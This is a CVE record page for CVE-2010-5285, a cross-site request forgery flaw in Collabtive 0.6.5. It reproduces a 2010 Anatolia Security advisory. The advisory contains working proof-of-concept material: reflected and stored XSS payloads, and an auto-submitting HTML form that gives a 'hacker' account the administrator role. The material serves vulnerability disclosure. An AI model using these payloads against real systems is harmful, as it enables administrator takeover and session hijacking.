CVE-2010-5285
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CVE Descriptions
Cross-site request forgery (CSRF) vulnerability in admin.php in Collabtive 0.6.5 allows remote attackers to hijack the authentication of administrators for requests that add administrative users via the edituser action.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Cross-Site Request Forgery (CSRF) The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 15240
Publication date : 2010-10-11 22h00 +00:00
Author : Anatolia Security
EDB Verified : Yes
ANATOLIA SECURITY ADVISORY
------------------------------------
### ADVISORY INFO ###
+ Title: Collabtive Multiple Vulnerabilities
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-003.txt
+ Advisory ID: 2010-003
+ Version: 0.65
+ Date: 12/10/2010
+ Impact: Gaining Administrative Privileges - Execute Malicious
Javascript Codes
+ CWE-ID: 352 (Cross-site Request Forgery) - 79 (Cross-site Scripting)
+ Credit: Anatolia Security
### VULNERABLE PRODUCT ###
+ Description: "Collabtive provides a web based platform to bring the
project
management process and documentation online. Collabtive is an open
source solution
with features and functionality similar to proprietary software such as
BaseCamp."
+ Homepage: http://www.collabtive.com
### VULNERABILITY DETAILS ###
I. Non-persistent Cross-site Scripting
--------------------------------------
+ Description: Application insert HTTP "y" parameter in "manageajax.php"
and HTTP "pic"
parameter in "thumb.php" into html output and fails while sanitize user
supplied these
inputs. Attackers can execute malicious javascript codes or hijacking
PHPSESSID for
privilege escalation.
+ Exploit/POC:
http://target/manageajax.php?action=newcal&y=<script>alert(/XSS/)</script>
http://target/thumb.php?pic=<script>alert(/XSS/)</script>
II. Cross-site Request Forgery
------------------------------
+ Description: Collabtive affects from Cross-site Request Forgery.
Technically, attacker
can create a specially crafted page and force collabtive administrators
to visit it and
can gain administrative privilege. For prevention from CSRF
vulnerabilities, application
needs anti-csrf token, captcha and asking old password for critical actions.
+ Exploit/POC:
http://www.anatoliasecurity.com/exploits/collabtive-csrf-xploit.txt
<!--
-*-*- ANATOLIA SECURITY (c) 2010 -*-*-
$ Title: Proof of Concept Code for Collabtive
$ ADV-ID: 2010-003
$ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-003.txt
$ Technical Details: http://www.anatoliasecurity.com
* PoC created by Eliteman
~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com
~ web: elite.anatoliasecurity.com
-->
<html>
<head>
<title>Collabtive CSRF P0C</title>
</head>
<body>
<form method="post" action="http://collabtive/admin.php?action=edituser&id=2" enctype="multipart/form-data" name="csrfXploit">
<input type="hidden" value="hacker" name="name" />
<input type="hidden" value="hacker@hacker" name="email" />
<input type="hidden" value="m" name="gender" />
<input type="hidden" value="en" name="locale" />
<input type="hidden" value="" name="admin" />
<input type="hidden" value="1" name="role">
</form>
<script type="text/javascript">
document.csrfXploit.submit();
</script>
</body>
</html>
III. Stored Cross-site Scripting
--------------------------------
+ Description: Collabtive has Stored Cross-site Scripting vulnerability.
Every user can
change their usernames and application allows HTML codes and stores in
database.
+ Exploit/POC: Change username to "user<script>alert(/AS/)</script>".
Products Mentioned
Configuraton 0
O-dyn>>Collabtive >> Version 0.6.5
- O-dyn>>Collabtive >> Version 0.6.5 (Open CPE detail)
References
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